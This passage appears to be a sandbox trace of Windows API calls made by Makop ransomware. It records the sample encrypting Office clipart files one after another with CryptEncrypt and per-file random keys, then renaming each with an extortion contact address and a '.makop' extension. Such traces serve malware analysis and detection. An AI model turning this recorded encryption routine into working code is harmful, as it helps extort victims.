Office\\CLIPART\\PUB60COR\\NA02373_.WMF") returned 63 [0141.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.259] GetProcessHeap () returned 0x48a0000 [0141.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.259] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.264] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.264] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.264] GetProcessHeap () returned 0x48a0000 [0141.264] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.264] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.265] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.265] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.265] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.265] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.266] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.266] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcec, lpOverlapped=0x0) returned 1 [0141.266] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcf0) returned 1 [0141.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.266] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcf0, lpOverlapped=0x0) returned 1 [0141.266] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.267] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.267] SetEndOfFile (hFile=0xf0) returned 1 [0141.273] GetProcessHeap () returned 0x48a0000 [0141.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.274] GetProcessHeap () returned 0x48a0000 [0141.274] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.274] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.275] CloseHandle (hObject=0xf0) returned 1 [0141.275] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0141.275] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF") returned 63 [0141.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.278] GetProcessHeap () returned 0x48a0000 [0141.278] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.278] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.278] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.282] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.282] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.282] GetProcessHeap () returned 0x48a0000 [0141.283] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.284] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.284] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.284] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.284] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbd8, lpOverlapped=0x0) returned 1 [0141.284] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0) returned 1 [0141.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.284] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbe0, lpOverlapped=0x0) returned 1 [0141.284] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.285] SetEndOfFile (hFile=0xf0) returned 1 [0141.292] GetProcessHeap () returned 0x48a0000 [0141.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.292] GetProcessHeap () returned 0x48a0000 [0141.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.292] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.295] CloseHandle (hObject=0xf0) returned 1 [0141.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0141.296] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF") returned 63 [0141.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.296] GetProcessHeap () returned 0x48a0000 [0141.296] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.296] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.297] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.297] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.302] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.303] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.303] GetProcessHeap () returned 0x48a0000 [0141.303] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.303] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.303] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.303] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.303] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.303] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.304] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.304] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.304] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x948, lpOverlapped=0x0) returned 1 [0141.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950, dwBufLen=0x950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950) returned 1 [0141.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x950, lpOverlapped=0x0) returned 1 [0141.304] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.305] SetEndOfFile (hFile=0xf0) returned 1 [0141.312] GetProcessHeap () returned 0x48a0000 [0141.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.312] GetProcessHeap () returned 0x48a0000 [0141.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.312] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.313] CloseHandle (hObject=0xf0) returned 1 [0141.314] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0141.314] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF") returned 63 [0141.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.315] GetProcessHeap () returned 0x48a0000 [0141.315] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.315] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.320] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.320] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.320] GetProcessHeap () returned 0x48a0000 [0141.320] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.320] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.322] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.322] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.322] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc84, lpOverlapped=0x0) returned 1 [0141.322] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc90, dwBufLen=0xc90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc90) returned 1 [0141.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc90, lpOverlapped=0x0) returned 1 [0141.322] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.323] SetEndOfFile (hFile=0xf0) returned 1 [0141.329] GetProcessHeap () returned 0x48a0000 [0141.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.329] GetProcessHeap () returned 0x48a0000 [0141.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.329] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.331] CloseHandle 